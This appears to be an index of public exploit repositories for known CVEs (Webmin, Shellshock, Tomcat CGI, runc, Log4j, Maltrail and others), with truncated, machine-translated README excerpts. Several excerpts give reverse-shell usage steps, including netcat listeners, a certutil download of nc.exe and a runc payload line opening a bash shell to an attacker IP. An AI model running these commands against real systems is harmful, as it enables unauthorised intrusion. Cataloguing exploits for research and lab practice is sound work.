Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 Exploit d'inclusion de fichier local - CVE-2012-4869 Description Ce script exploite une vulnérabilité d'inclusion de fichier local LFI dans Elastix 2.2.0 , permettant une exécution de code à distance RCE en injectant des commandes via le point de terminaison callmepage.php. L'exploi...

CVE-2019-18818_CVE-2019-19609

Exploits pour CVE-2019-18818 et CVE-2019-19609 Ce dépôt contient un script Python pour exploiter deux vulnérabilités : CVE-2019-18818 et CVE-2019-19609. CVE-2019-18818 Cette vulnérabilité permet à un attaquant de réinitialiser le mot de passe d'un utilisateur administrateur dans le CMS Strapi...

CVE-2017-11610

CVE-2017-11610 RCE non authentifié par Reverse Shell pour Supervisor 3.0a1 - 3.3.2 Exploit RCE non authentifié autonome en Python ≥3.6 pour Supervisor 3.0a1 à 3.3.2, réécrit à partir de ce module Metasploit. Article explicatif ici. Testé avec Python 3.7 sur cette cible exécutant Supervisor 3.3.2...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Un problème a été découvert dans Webmin =1.920. Les paramètres "old" et "expire" dans passwordchange.cgi contiennent une vulnérabilité d'injection de commandes. Utilisation 1. Démarrer un listener sur la boîte rouge. rlwrap -cAr nc -lv...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Script d'exploitation Shellshock 🎯💻🔍 Ce script Python exploite la vulnérabilité Shellshock CVE-2014-6271 pour exécuter des commandes à distance ou établir un reverse shell sur une cible vulnérable. 🛠️⚠️ ⚠ Avertissement 🚨❗ Ce script est destiné uniquement à des fins...

CVE-2026-48172

📚 Dépôt de recherche en sécurité éducative Un dépôt pour apprendre, tester et rechercher des concepts de cybersécurité dans des environnements contrôlés. ⚡ Utilisation simple Utilisez ce projet uniquement dans des environnements sûrs et autorisés tels que : Machines virtuelles locales Conteneurs...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" est un script python permettant d'obtenir le shellcode depuis msfvenom, puis de copier la sortie dans exp.pdf en remplaçant le bloc de shellcode 'calc', et finalement ça fonctionne. Ooooops, c'est un shellcode reverse TCP. un exemple de code est le...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE Créé par TheAlchimist cve-2023-27163-maltrail.py pour un reverse shell...

CVE-2015-8562

CVE-2015-8562 - 리버스 셸 파이썬 익스플로잇: Joomla 1.5 - 3.4.5 객체 주입 RCE X-Forwarded-For 헤더: 취약점 날짜: 2015년 12월 17일 익스플로잇 작성자: anarc0der 버전: Joomla 1.5 3.4.5 CVE : CVE-2015-8562 사용 방법: 터미널 하나를 열고 nc로 리슨: $ nc -lnvp 4444 다른 터미널을 열고 익스플로잇 실행: python3 rce.py --target='target' --ip='ip' --port=4444 PoC 대상 예시 이들을...

CVE-2019-0232

CGI RCE Exploit PoC pour RCE non authentifié via des points de terminaison batch CGI. Télécharge nc.exe sur la cible en utilisant certutil et déclenche un reverse shell. Configuration 1. Servir nc.exe dans le même répertoire où se trouve nc.exe : python3 -m http.server 80 2. Lancez votre écouteur...

CVE-2021-21220

Installez d'abord : https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Version de Chrome : 90.0.4403.0 Installez chrome-win.zip 1. node server.js Exécutez ./chrome.exe --no-sandbox Rendez-vous sur localhost:8888 Notez que la CVE sur laquelle...

CVE-2019-0232_tomcat_cgi_exploit

Script d'Exploit CGI d'Apache Tomcat Description Un script Python conçu pour exploiter les vulnérabilités CGI sur les serveurs Apache Tomcat en exécutant une connexion de shell inversé. Exemple d'Utilisation Caractéristiques Exploit automatisé pour les vulnérabilités CGI d'Apache Tomcat Paramètre...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Utilisation : La machine est vulnérable à la CVE-2019-5736, suivez les étapes de l'exploit Runc CVE-2019-5736. Téléchargez le fichier main.go, modifiez le payload dans le fichier en : var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" Ensuite,...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Approche alternative : test de reverse shell et de callback Vue d'ensemble Ce dépôt contient des approches alternatives de payload pour la vulnérabilité RCE d'InvokeAI CVE-2024-12029 lorsque l'injection de clé SSH échoue. Les payloads...

POC_react2shell_CVE-2025-55182

Exploitation RCE des composants serveur React de Next.js Exploite CVE-2025-55182 pour exécution de code à distance via pollution de prototype. Auteur : Severian N.K. Description Cet outil exploite une vulnérabilité de pollution de prototype dans les applications Next.js utilisant les composants...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc Une preuve de concept PoC pour la vulnérabilité récemment découverte CVE-2021-44228. Récemment, une nouvelle vulnérabilité a été découverte dans log4j, une bibliothèque de journalisation Java très utilisée dans des projets comme Elasticsearch, Minecraft et bien d'autres. Ce dépôt...

htb-sau-exploit-chain

Chaîne d'exploitation HTB Sau — CVE-2023-27163 SSRF + Automatisation RCE Maltrail Un script d'exploitation Python qui enchaîne CVE-2023-27163 Falsification de requête côté serveur dans Request Baskets ≤ 1.2.1 avec une vulnérabilité d'exécution de code à distance non authentifiée dans Maltrail 0.5...

CVE-2023-422-Chamilo-LMS-RCE

Предварительные требования pip install requests Информация Python-скрипт использует уязвимость CVE-2023-422 для загрузки файла на сервер и использует этот файл для отправки обратной оболочки на слушатель netcat, и всё это можно сделать без аутентификации. Однако для успешного использования...

CVE-2023-27163-AND-Mailtrail-v0.53

Автоматический эксплойт Краткое описание Следующий эксплойт использует уязвимость SSRF в Requests Baskets v1.2.1 для перенаправления внутреннего приложения, работающего на 127.0.0.1:80, на внешнее приложение по пути /pwned. После перенаправления приложения Mailtrail v0.53 будет выполнена команда...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

Ce script cible la vulnérabilité d'injection EL dans Nexus Repository Manager 3 CVE-2018-16621, exécution en un clic de l'exploit pour obtenir un shell inverse. Exemple d'exécution : Exécutez le script localement sur la machine attaquante, saisissez l'IP et le port de la cible, ainsi que l'IP et ...